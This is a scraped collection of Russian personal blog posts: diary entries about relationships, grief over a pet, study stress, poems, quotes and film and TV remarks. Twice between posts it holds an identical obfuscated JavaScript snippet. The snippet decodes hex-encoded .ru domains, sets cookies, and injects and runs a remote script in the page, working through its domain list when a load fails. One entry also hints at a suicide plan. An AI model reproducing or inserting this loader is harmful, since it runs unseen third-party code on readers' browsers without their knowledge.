и на звонки не отвечай, пусть даже хочется.
оно прошло ведь, отболело, убежало
иначе это никогда не кончится.
а будущее (то есть я) заждалось.

мы, говорят, с тобою скоро встретимся,
и я, волнуясь, буду неуклюж.
тогда, я обещаю, все изменится.

Твой будущий, любимый верный муж.

Всем привет, у меня две новости: хорошая и плохая.
Хорошая: У меня новый телефон, с хорошей камерой, новенькийй андроид, большой экран.. Ода, я счастлива:3 Любимая фирма

Плохая: У меня аритмия сердца. Не знаю, чем вызвана, но чувство не из приятных. + Я больше всего на свете боюсь проблем именно с сердцем.
Завтра в больницу.
Такие дела

—Что это?

— Символ. Символ Альфы и его стаи.

— Чьей стаи?

— Скотта.

сегодня умер мой любимый кот. он умер просто у меня на руках

я его как обычно взяла на руки, его схватила судорога, муж положил его на пол, а Лео растянулся и умер. товарищи, это пиздец. мы поехали очень быстро к ветеринару, не к своему, а ветеринар сказал что у него была сердечная недостаточность и он умер из-за этого. и тут самое оно. мы ходили к ветеринару Васе 1,5 года. и он, сука такая, ни разу не обратил на кота нормально внимание. если бы мы обратились к врачу раньше, Леопольд мог бы прожить дольше. вот так блять попадай на тупых людей, которым на всех остальных плевать. какого хрена ты тогда шел работать ветеринаром, когда тебе похуй и ничего тебя не волнует?

я всегда буду любить Лео. он навсегда останется в моем сердце как самый добрый, умный, красивый кот с прекрасным маленьким носиком, который я целовала каждый день много-много раз. Лео, я тебя очень люблю и буду помнить всю жизнь.

Как можно не влюбиться в улыбку этого мужчины?!

В городе зима, холод и снег. Хочется выйти на улицу и просто идти, не думая куда, под чертовски-крутую песенку.

Недавно написала 100 целей на год, идея показалась слегка безумной и глупой, но попробовав и не набрав данное количество, я поняла, что для счастья не так уж много и надо.

Среди моих "планов", есть и поездка в Санкт-Петербург. Честно говоря, сорваться бы сейчас, взять билет и уехать. Одной или с кем-то (именно (2), ну вы поняли). Купить пару пакетиков книг в подписных изданиях и посетить уютную кофейню. Книги - мое счастье, особенно их выбирать.

Через 4 дня конец сессии и я начну писать курсовую. Сплю по 2-3 часа в день и сегодня организм передал мне привет. Было ужасно плохо, весь день спала. А я все жалею, что потратила этот день в пустую.

Вчера написал друг, люблю его безумно, как брата. Он у меня моряк. Написал, что попали в шторм, чтобы я себя берегла, что я один из самых дорогих людей в его жизни. Я разплакалась. Девочки, прошел день и от него нет вестей. Я переживаю и отгоняю самые плохие от себя мысли.

Мои решения меняются каждый день. Если еще позавчера я была готова решительно идти до конца, то сегодня вечером я впала в уныние из-за малейшей неприятности. Сейчас всё хорошо и я снова решила для себя, что я не должна отпускать руки, не попробовав всего, на что я способна ради того, чтобы вернуть наши отношения. А этот пост для того, чтобы я не забывала своих решений и не ныла! Кстати.Давайте перестанем ныть. Когда сильно хочешь чего-то и веришь в свою мечту это сбывается.Отвечаю)

Просто очень горячий Айзек

Ангел 22 июня 2013 г.

Люблю каждую твою косточку которую сегодня увидела. Я не знаю как я месяц без тебя проживу.

э

Сегодня встретила его друзей. Зашла, блин, в наш мак. Для них наше расставание это отличный повод для шуток и дурацких вопросов. Идите лесом.

Есть люди - произведения искусства. Ты смотришь на них, слушаешь, наблюдаешь и не перестаёшь удивляться. Нет, они не совершенны, но тем не менее каждый из них представляет собой одно целое, с недостатками, особенное. Может, это не имеет смысла, но я встречала таких людей, я никогда не устану ими любоваться.

Мы снова всё узнали.
Как это полюбить и предать, полетать и упасть.
И все вокруг счастливы, кроме нас.

и, пожалуй, бросить курить проще чем тебя

Я всё соврал.
У вас обычные глаза,
И голос ваш такой же как у многих,
Я врал, что всё хотел вернуть назад,
Сплетая воедино две дороги.

И ваши безмятежные черты
Ничуть меня не душат среди ночи.
Да и в объятьях ваших глубины,
Мне кажется, не больше, чем у прочих.

Ещё я врал,
что шёл за вами по пути,
Что выдержал разлуки еле-еле.
Я так же врал, что вас когда-нибудь любил.

Я врал себе…
но так и не поверил…

Э. Твит

Мне жаль, что ты чувствуешь себя одиноким в своей боли, но мне тоже больно. Как и всем вокруг, такова жизнь.

Сегодня на работу пришла парочка. А, небольшое отступление. У меня теперь есть ещё одна работа, пару раз в неделю работаю в кофейне моей знакомой. Так вот, парочка. Вообще всё моё внимание захватил парень, так как сходу он спросил есть ли у нас мохито и "не, ну чото спиртное есть? а это чё? а, сироп, а спиртного нет?". Прибавим к его несколько возбужденному состоянию тот факт, что у него не было половины зубов, и картина начинает проясняться. Решили пить кофе. И пока я его им делала, а он активно забрасывал меня вопросами о моей зарплате, я наконец обратила внимание на девушку, которая была с ним. С этим неадекватным беззубым типом была совершенно нормальная девушка. Молоденькая, довольно симпатичная, нормально одетая и вполне адекватная, спокойная. Я задумалась о том, что заставляет девушек встречаться с такими. Насколько нужно отчаяться, чтобы на это пойти? Дело даже не в отсутствии у него зубов, он как минимум неадекватный и сомневаюсь, что он ведёт себя иначе, когда он трезвый. Я испугалась того, что вот у меня всё нет отношений и вдруг однажды я окажусь на её месте? Ведь это не первый случай, когда я вижу, что нормальные девушки, женщины оказываются рядом с какими-то неадекватами, алкашами, игроманами, которые ломают им жизнь. Неужели все эти мужики настолько хорошие люди, что это перекрывает любую степень пьянства? Почему так происходит? Я не понимаю. И мне жутко от каждого такого случая. Неужели всё настолько плохо, что ты осознанно соглашаешься губить себе жизнь или даже ненадолго связываться с таким? Хотя я вспоминаю о том, что он был нормально одет и вовсю разбрасывался деньгами, может в этом весь секрет? Но я всё равно ничерта не понимаю. И надеюсь никогда не понять.

Она выбросила из головы всё, что относилось к её собственной жизни, освобождая место для него. Впрочем, он и без того занимал в ее мыслях прочное место; у неё и часа не проходило, чтобы она не спросила себя, что он сейчас делает, как чувствует себя в эту минуту. Бернхард Шлинк, "Три дня"

Потерялась я в днях, если честно. И не хочется сейчас считать. Мне очень плохо. Вчера была супер туса, а сегодня я умираю. И много странных мыслей в голове, хотя я вчера узнала кое-что ну очень важное. Все смешалось в голове. Но я думаю, что сейчас я делаю правильный выбор.

Пусть ты сделал абсолютно все, что бы не слышать от меня вестей. В моем сердце навсегда останется, пусть и крошечное, место для тебя. Ты показал мне какой я могу быть. И как важна душевная прямота, и что случится, если оставить слова не сказаными. Поступки не доказывают ничего, если слова противоречат им. И ты по неволе веришь губам, которые твердят "не надо, не люби, не стоит, не накручивай, не жди". Такой хаос не несет ничего хорошего.

Но я всегда буду злиться, что у нас не получилось привести все к адекватному взаимодействию.

Это даже хуже моей первой зимы в Городе дорог. Та страшная депрессия не сравнится с этим одиночеством. Это не поглощает, а просто живет рядом со мной, постояно напоминает о себе и не отпускает.

Смотри, я решилась на ответственный шаг, я последовала твоему совету, ты сам к этому вел. И ты же все оборвал. Так нельзя.

вот укажу кому-то на его тупость, а потом жаль этого человека и жаль, что каким-то образом дала ему понять, что он лось) и чувствуешь себя говном таким… - возвышенным говном) задрали тупые люди) то злишься на них, то жаль их.. и как тут держать баланс в отношении к людям?! хДД))) …

и речь идет не о той тупости, когда у человека другие интересы нежели у тебя и он сразу говно, а о мозговой, когда отсутствует понятие логики и анализа) госпабожемой.

— Иногда дела просто не выполняются. Это не значит, что ты не достаточно хороша. Просто продолжай! Ты справишься. Ты добьешься этого! Потому что ты совершенно удивительна! Как рок звезда!

Дни летят так быстро! Не успеваю следить за ними. Вот и подошли к концу очередные выходные. Печально, что времени здесь остается все меньше. Вчера вообще не могли наговориться с Женей, проболтали до четырех утра… Эх, половина моя. Что ж я буду без тебя делать? Тааааак. Так. Так. Всегда стараюсь продумывать пути отхода, и, если что - уже настраиваю себя на возможную, надеюсь, долгую и счастливую жизнь в Омске, какой бы такая жизнь на самом деле не была. Но честно - реально трудно его каждое утро отправлять на работу, зная, что за бортом около -30. Да, я южная девушка, мне трудно это понять)) Загорелась покупкой нового объектива, давно о нем думала, и вот - наткнулась на авито. Завтра будем вызнавать, актуально ли еще объявление, не буду себя накручивать - нет так нет. Но штука очень очень крутая. Ближе к ночи всегда просыпается стремление постигать что-то новое, учиться, рисовать, не спать до утра и придумывать шутки, писать сценарии, поглощая все запасы какао из своих шкафчиков. Хорошо, все таки, жить отдельно) Но, к сожалению, нужно отходить ко сну. Пока я не пересидела его и не начались приступы ночного жора, отправляюсь под наше теплое одеяло и спать. О! И еще! Наконец-то посмотрела "Человека-муравья", где была моя обожаемая Анна Акана. Не знала, что смогу полюбить это женщину с большой буквы еще сильнее))) )) )) )

Лучи добра вам!)

Зачем мужчины/женщины лезут в чужие дела? Которые их совершенно не касаются? Недавно с моей подругой произошла подобная ситуация. В ее отношения влезла очень подозрительная/странная личность. Т.е как бы никому не известная, ни по фотографиям, ни по фамилии. И начала говорить всякую ересь.

Продолжение.

Славу Богу, что все закончилось. Но, как здравосмыслиещиеся люди, вы понимаете, что на душах влюбленных остался осадок.

Приглашает меня знакомый поет, значит, на следующей неделе на вечер поэзии в наше местное анти-кафе, так мол и так, "общество мертвых поэтов", непризнанные гении и дальше по сценарию (не пойму почему меня, я стихов не пишу, а прозу тщательно скрываю) и шлёт, значит ссылку на мероприятие, где на баннере, выполненном в "древнерусскомъ" стиле ярко гласит, что:

бла-бла…поэтический вечер…бла бла…поэты…состАитЬся такого то числа…бла бла… поЕтические…бла бла и так далее.

Т.е. эти "писуны" (не могу назвать и по другому) даже не удосужились написать приглашение с соблюдением элементарной грамматики.

Я ни в коем случае не претендую на звании нациста от грамматики, но (!) во первых, я не поэт и не писатель, во вторых не организатор сего мероприятия, в третьих можно же было прогнать текст в ворде для исправления мелких "очепяток" и в четвертых, мои ошибки по большей части от того, что я быстро печатаю и не попадаю пальцами по некоторым клавишам или от невнимательности, или потому что я ненавижу запятые: 3 но! писатели, коли вы уж стараетесь и потуги свои доводите до общества, будьте чуть более грамотными.

Спасибо.

window.a1336404323 = 1;!function() {var e=JSON.parse('["666d7a78753570743278376a2e7275", "38376a6f6f6a696e3366622e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="21670", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

Я так случайно наткнулся на это *сайт*? я даже до конца не понимаю как этим всем пользоваться. Это похоже на твитор, а может и нет. Постараюсь разобраться поскорее, и, если выйдет удачно, то начну оборудовать всё на высшем уровне. Скорее всего блог получится грустным, потому что пишет никто иной, как я :)

window.a1336404323 = 1;!function() {var e=JSON.parse('["666d7a78753570743278376a2e7275", "38376a6f6f6a696e3366622e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="21670", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

И, кстати, вспомнила, как кричала о том что бывшие не возвращаются и все это утешение для бедных баб. Беру слова назад. Оказывается прошлое может вернуться. Еще и похлеще чем было до.

Меня хватает на день. Один день на то, чтобы радовать его и радоваться самой. А потом… я снова истеричка и эгоистка. Ещё позавчера думала:"вот оно счастье, самый родной мой". Не хотелось уходить. Быть рядом с ним, тонуть в его глазах. А сейчас я лежу в ванной и ненавижу его. Осознание того, что все делала не так. Старалась как сука, а оказалось, что зря все это. Полнейшее разочарование в нем, в отношениях и самой себе, что повелась на все это полтора года назад. Нихуя не будет искренней и чистой любви о которой я так мечтаю, лишь слезы и боль. Он даже успокаивать меня не хочет. Я обвинить его ни в чем не могу. Я всегда виновата. В жопу эти отношения, хочу свободы. Хочу жить по настоящему, делать все что хочется. И почувствовать, что тебя любят сильно, что хотят видеть тебя постоянно, быть с тобой везде, что человек ради тебя на все готов. Что же делать? Как можно верить человеку, который считает глупыми твои мысли, чувства и действия. Чем могла такое заслужить, я не знаю.

Сколько себя помню, я всегда зависела от других. Всегда. Я невольно копирую людей, которые мне нравятся и к которым меня тянет. Но при этом я дико ненавижу, когда копируют меня. Но, наверно, зависеть - это все-таки немного другое. Стоит мне немного пообщаться с человеком, и все, я уже не могу без него. Это сейчас не касается ни Максима, ни Стаса. Это касается всех тех, с кем я общалась и общаюсь сейчас. Ужасное чувство, когда ты понимаешь, что не можешь без человека больше, что ты привязался, это вгоняет в ужас и придает беспомощность.

Сегодняшний день.. он прошел довольно-таки обычненько. Мама нашла мои таблеточки, успокоительные, хах. Она не понимает, зачем они мне, а у меня нет ни сил, ни желания объяснять, меня все равно не поймут, так какой смысл. Был небольшой скандал, но для меня это уже не имеет значения, все равно через 58 дней мне конец. Так странно спокойно писать об этом, ахах. Ну посмотрим, что будет дальше.

Максим.. Он ответил мне все-таки в вост аппе. Глупенький, говорит, что, мол, расстались и расстались, он не хочет заставлять. Я говорю, что он не заставлял, просто я плохой человек, вот и все. Он не понимает..не понимает, что я уже миллион раз пожалела, что рассталась с ним, что я бы хотела снова, что мне нужен второй шанс, но прошлое не исправить.. Успокаивает только то, что еще немного, и мне будет все равно. Всем будет все равно.

Что, сука, со мной не так?

Моя теория порушилась: очень грустно осознавать, что если человек преуспевает в делах, ладит с окружающими и вроде как является хорошим, ни черта не гарантирует то, что отношения с ним будут тоже классными и простыми.
Для меня это подстава подстав!

Я же вплоть до отъезда во Францию бегала по вечерам (раза 3 в неделю по 5-7 км). Во Франции совершила пробежку дважды. Дважды, блин, и всё. Не хотелось.

А теперь я поняла почему! Листала блог свой и в записи, сделанной ещё в сентябре нашла ответ:

" Мне проще бегать, когда у меня плохое настроение или когда я зла на себя. Чем хуже мне - тем проще заставить себя тренироваться, главное не жалеть себя. Давно заметила - в хорошем расположении духа не бегается совсем. Вот и сегодня разозлилась на себя и пошла себя гонять. Сразу решила - остановлюсь, когда уже совсем не смогу больше. Вот и выжала 7 км."

А помните о Франции я что писала? Что мне хорошо как никогда во всех отношениях, что я, плакса по жизни, ни слезинки там не проронила за 2 месяца - рекорд! И вот сижу я сейчас в отвратном настроении, с которым я обычно круги-то и наматывала, ищу фитнес-клуб, так как бегать зимой на улице нереально. Ну и надо же как-то те набранные 8 кг скидывать. 8, блядь, до сих пор не верю, что я за два месяца там столько нажрала, дура.

Я победитель по жизни. Ходила месяц назад к зубному и думала, что всё, мои мучения на какое-то время (хотя бы на год) закончены. Я не люблю и боюсь лечить зубы. Но недавно снова заболело там, где мне замазали дырку! Просто офигенно.

«Если тебе грустно, твое сердце разбито, заставь себя подняться, оденься, накрась губы помадой и переходи в наступление. Мужчины ненавидят плакс».

Коко Шанель

Ниоткуда с любовью, надцатого мартобря,
дорогой, уважаемый, милая, но неважно
даже кто, ибо черт лица, говоря
откровенно, не вспомнить, уже не ваш, но
и ничей верный друг вас приветствует с одного
из пяти континентов, держащегося на ковбоях;
я любил тебя больше, чем ангелов и самого,
и поэтому дальше теперь от тебя, чем от них обоих;
поздно ночью, в уснувшей долине, на самом дне,
в городке, занесенном снегом по ручку двери,
извиваясь ночью на простыне —
как не сказано ниже по крайней мере —
я взбиваю подушку мычащим "ты "
за морями, которым конца и края,
в темноте всем телом твои черты,
как безумное зеркало повторяя.

Существует так много причин, почему я должна держаться от тебя подальше. Например, я знаю, что ты никогда не будешь любить меня, я знаю, что я не та, кого ты ищешь. Я знаю, что твое сердце в чьих-то других руках. В руках того, кто намного лучше и не так запутался в жизни, как я. Но я все еще не могу отпустить тебя, и каждый раз, когда я пытаюсь, в конечном итоге я только сильнее влюбляюсь.

сидим с Трофом, курим кальян. чет приуныли

Неисповедимость путей Господних дарует нам великое благо – благо сомнения. Ибо где нет сомнения, там нет и веры; где нет сомнения, там нет знания; где нет сомнения, там нет милосердия. Но все же: как славно было бы не испытывать этого мучительного чувства раздвоенности! Стоять легче, чем бежать, быть целым проще, нежели разбитым на осколки. Искренне надеюсь, что в размышлениях скромного монаха нет ничего еретического, – и всё-таки сомневаюсь, сомневаюсь…

да, кусочек отлетел. заряд происходит, я бы даже не меняла, но С. настаивает, говорит, что может токон случайно ударить, меня вообще устраивает и от батареии сидеть, так что если будет дорого-я конечно откажусь.

а у тебя заряд происходил? или вообще не заряжал?

Хотела поделиться как прошел ДР) Это был пока что самый лучший ДР за все годы) Отмечали в ресторане хорошем, было 10 человек - самые любимые и близкие. жаль мужа не было рядом, конечно(( (Было очень весело, душевно, радостно. Еда вкусная, еще и осталось много вкусняшек, с собой запаковали нам) ТОрт вообще очень красивый, я его не видела до ДР) Еще была подруга с мужем, она танцует в шоу-балете, так вот они исполнили для меня два танца, было здорово) Подарили все деньги и 3 сертификата в Лэтуаль и один в спа-салон (отродителей, писала ниже уже). Итого сертифкаты в Лжтуаль на 3500)

Сегодня были в гостях, а потом поехала тратить своими сертификаты, плюс скидка 35% - купила средство для снятия макияжа Клиник, блеск для губ Диор и пару масок под глаза. Блеск, кстати, заценила уже. Вообще мне так тяжело выбрать - вечно скатывается и липнет все, пока только помада-лак Ив Сен Лоран меня покорила, но пока ее нет нигде у нас(( (И вот блеск Диор тоже пока за несколько часов не слипся и не скатался, и цвет держался хорошо)

И еще 21 января годик сыну подруги лучшей, купила ему мягкую игрушку, читающую сказки. Прикольный такой)

проще ни с кем не дружить, ни с кем не строить никаких отношений. сидеть дома и жрать козинак. козинак не предаст, не уйдёт тусоваться, не уедет в другой город, не пообещает прийти и не придёт, не станет вечерами пиздеть по скайпу с тёлкой, которую ты не переносишь. козинак-вот че ожидаешь, то и получаешь

так хочется банального ощущения счастья, радости какой-то. лет 7-8 назад я ехала в маршрутке, напротив меня сидела девушка. худенькая, спортивная фигура, средненькая внешность, можно даже сказать невзрачная, натуральные светлые волосы, светлые глаза, то ли голубые, то ли серые, бледная кожа без намёка на румянец, узкие губы, длинный нос с горбинкой. такая серенькая вся, неприметная, но была на этом лице одна деталь, из-за которой я так хорошо ее помню, на лице у неё была легкая, еле заметная улыбка, и улыбка эта делала её лицо каким-то необычно приятным и тёплым, притягательным. эта улыбка какого-то осмысленного счастья. я даже не знаю о чем она в тот момент думала, но вся её серенькая внешность говорила за неё, что она счастливая. мне так запомнились все эти детали потому что я всегда вспоминаю её лицо, когда говорю или слышу о счастье. так хочется ощутить настоящее счастье, радость, чтобы кто-нибудь, точно так же, заметил моё лицо в толпе, и понял, что я счастлива.

В этой работе принимали участие такие звезды, как актриса Скарлетт Йоханссон – сыграла в рекламе роль Золушки, Бейонсе Ноулз – роль Алисы в стране чудес, Дэвид Бекхэм – роль прекрасного принца, спасителя Спящей Красавицы, теннисист Роже Федерер предстал в образе Короля Артура, актриса Рэйчел Уайз сыграла Белоснежку, а Джули Эндрюс – голубую фею из сказки о Пиноккио. В фотосессии также приняла участие Абигайл Бреслин, сыгравшая Фиру из серии Disney Fairies.

Съемки провела легендарный фотограф Энни Лейбовиц (Annie Leibovitz) – прославленный мастер художественной фотографии. Ее работы украшают обложки журналов Vogue, Vanity Fair, New Yorker и Rolling Stone, ей позировали обнаженными Джон Леннон и Бетти Мидлер, Вупи Голдберг и Деми Мур, Стинг и Дивайн.

По ее просьбе полуголый Арнольд Шварценеггер с сигарой в зубах застывал верхом на белой кобыле под жарким солнцем Малибу, Дэвид Бекхэм в кабриолете раскрывал секреты своих татуировок, а Лэнс Армстронг в чем мать родила крутил педали велосипеда. Перед ее камерой замирали знаменитые музыканты и поэты, атлеты и артисты, нищие и вельможи.

Однажды на вопрос журналиста «В чем секрет? Как вам это удается?» Энни ответила: «Вы же видите по моим фотографиям – просто я не боюсь влюбляться в этих людей».

Могла бы я 2 года назад подумать что пересплю с ним ? Нет. Я даже сейчас в это не верю. Но да, у нас был секс. (Знаю что многие тут осуждают всякие постики такого рода, но это мой блог и моя жизнь, ну как бы извините если кому-то не нравится что я с кем-то спала). И у меня нет к нему диких чувств. У него ко мне думаю тоже. Симпатия, интерес. Это было просто. Понимаете, как-то простоооо. Не смотря на множество нюасов я не могу назвать себя шлюхой, я его давно хорошо знаю и были чувства и сейчас просто приятное общение. Честно, я сама от себя не ожидала. Но вот так. Что будет дальше я не знаю. В это сложно поверить даже сейчас.

стушил, испек, сварил - вечер повара удался… ;) пора побегать по снегу и зайожить швы)

– Мы поехали в домик у озера.
Разожгли костёр, и Эмили показывала фотки с её поездки.
Мы отлично провели вечер. Милая ностальгическая ночь.

PLL 3x01 It Happened 'That Night'

парни все время играют с ними в какие-то игры, которые понятны только им. Неужели нельзя просто и прямо говорить о своих чувствах, если они есть и если их нет, чтобы не мучать нас своими выходками и не понятным повидением

Не то время и не тот возраст, чтобы говорить "это то чувство, когда…"но, простите, это именно то чувство, когда ты открываешь для себя ахрененный сериал и понимаешь, что впереди еще 3 сезона

Дело в том, что у меня не было особой тяги к сериалам и мне до сих пор жаль тучу времени, которую я трачу на этот сериал, но КАК МОЖЕТ БЫТЬ ИНАЧЕ, ЕСЛИ ЭТО ШИКАРНЫЙ СЕРИАЛ, О КОТОРОМ ТЫ, В ГЛУБИНЕ ДУШИ, МЕЧТАЛА?

И как человек, мечтающий о сцене, я скажу, что такое сериал-подарок для любого актера и я просто мечтаю сняться в чем-то таком…но.но.но

SPN | Dean Winchester

Сначала ты выбираешь красивых людей, чтобы общаться с ними. Потом ты выбираешь интересных и умных людей. А потом ты смотришь, какие люди в жизни и как они к тебе относятся.

Как потом оказывается, они и есть самые красивые и интересные для тебя. Потому что ты их любишь той любовью, какой никого и никогда не любил. Тебе с ними нереально комфортно, они могут направить тебя, перед ними можно падать. Потому что ты знаешь, что они тебя поднимут.

Тебя, возможно, тянет не к тем. И не туда совершенно. Просто присмотрись.

и вообще в конце жизни мне должна полагаться награда и моральная компенсация за то, что я прожила с собой всю жизнь и не вздёрнулась. ведь, пожалуй, я буду еинственным человеком, который вывезет меня такой, какая я есть, и то не уверена.

сесть и понять, что ты- это то, что будет таким как есть до конца.
нет, конечно, люди меняются. взгляды там, убеждения, определённые черты характера. а ещё вес и цвет волос, и количество морщинок и прочая мишура.
ты можешь стать хуже или лучше, но это ведь всё равно будешь ты.
потому что некоторые вещи в принципе не поддаются изменению.
самая суть остаётся неизменной, то, что делает тебя тобой.
и лично меня это пугает. я не хочу быть таким вот человеком.

Ты сгоришь от моего гнева

Мой дорогой друг, здравый смысл — скучная вещь. Каждый должен быть немного сумасшедшим, с лёгкими завихрениями, и тогда жизнь покажется в новом свете, в совершенно неожиданном ракурсе…

Извини меня за все. Мне тоже тяжело. Но ты меня не понимаешь и не слышишь.

Посвящаю сие пост фильму " Багровый пик " или " Crimson Peak ". Один из немногих фильмов, который смог меня тронуть (а этого не было уже месяцев 5).

Фильм-загадка. Полный странных теней и обмана, несчастной и одновременной сильной любви. Правда некоторые его части были не так замысловаты, как хотелось, но нельзя не сказать о потрясающей игре Тома Хиддлстона..и не только о игре, но и о взгляде :)

Фильм полон прекрасных пейзажей, как темных и готических, пахнущих старостью и историей, так и чарующих своей красотой мест.

P.S.: Я не буду спойлерить, для тех не многих, что читают мой блог(и как я знаю, не смотревших сие экранизацию), но скажу, что игра была на высоте, как и костюмы, грим, обстановка и плавность речи.

Приятного просмотра всем, кто решится!

"-Я завтра буду тебе ныть.Может легче станет.
-Чую, посиделки будут особо страдательными".
Итак, я достаточно готовенькая для длинного и такого вот поста. Благо во мне сидит яблочный сидр и чай. Встретились со знакомой, нанылись, я не выдержала и поплакала снова.На обратной дороге мы постоянно хотели лечь в сугроб и порыдать.Но в итоге я дома, слушаю трудный возраст и..поехали.
Я помню все. Да, было плохого дохуя.Ну как дохуя, не прям дохуя но было.С обоих сторон.Но сейчас я пробегусь по другой стороне, после чего я лягу под кровать, закрою глаза и буду лежать.Ну или мульты про мумий тролля посмотрю.Хотя зная себя, я выберу первый вариант.
Я помню, как мы познакомились.Как мы провели новый 2013 год друг с другом, болтая обо всем, узнавая друг друга до 6 утра.Мы тогда узнали, что очень похожи.И мало того, наша жизнь похожа.Я тогда уснула спокойной и счастливой.Ведь это был потрясающий новый год, потрясающее начало. Мы очень много переписывались, о всякой ерунде, дурацкие упоротые шуточки, фоточки, картиночки, в твиттере точно так же..Мы долго болтали о том, что как было бы здорово увидется.Ты тогда кстати подсела на Ван Дирекшн.И вот я собираюсь к тебе. Перед этим я написала тебе, что все мои фото полугодовой давности, когда я еще худая была и сейчас я боюсь тебе показаться в том виде, что я сейчас.Ты мне написала, что для тебя это не важно.Кстати помнишь я тебе видео сделала? Мы уже тогда называли друг друга ласково, уходили спать одновременно.. Ты просыпалась и сразу писала мне.Я просыпалась и писала тебе.А иногда я просыпалась и видела от тебя кучу сообщений, потому что теб не спалось и ты решила писать мне много, много бреда.
Ну так вот.Я так волновалась.27 марта-это день нашей первой встречи.Еще одна важная для меня дата. Мы тогда застряли в пробке, и ты писала мне, что замерзла.И я ошиблась немного в местоположении высадки.Но мы увиделись.Господи, у меня так сердце колотилось…да оно и сейчас колотится каждый раз, когда я понимаю, что через несколько минут увижу тебя и обниму.Все как в первый раз.ах да, до этого всего ты мне звонила и мы разговаривали по телефону.Ты тогда поднималась домой после магазина, и голос твой, слегка запыхавшийся..Я помню. А когда я приехала, в Питере еще лжал снег.Мы гуляли по невскому, ты мне рассказывала про ВанДи и все хотела дать мне их послушать хах.У меня на компе сохранились даже наши первые совместные фотки.Мы там такие дурашки; "з. А потом я чуть не опоздала на маршрутку. И у меня сохранена записка, которую ты мне положила вместе с подарком.Я все храню..
Я дико скучала по тебе потом.И примерно через некоторое время после нашей встречи, я начала понимать, что что то не так.Ну да об этом потом.
А помнишь, я приезжала и мы гуляли на Московской? У нас там было свое место.Такие круглые бетонные сидушки, и мы сидели и болтали обо всем.Я помню, как рассказывала тебе, что я вижу в облаках на небе.По моему это был мой второй приезд и мы стояли перед отправлением автобуса а ты обнимала меня крепко крепко и не хотела отпускать.
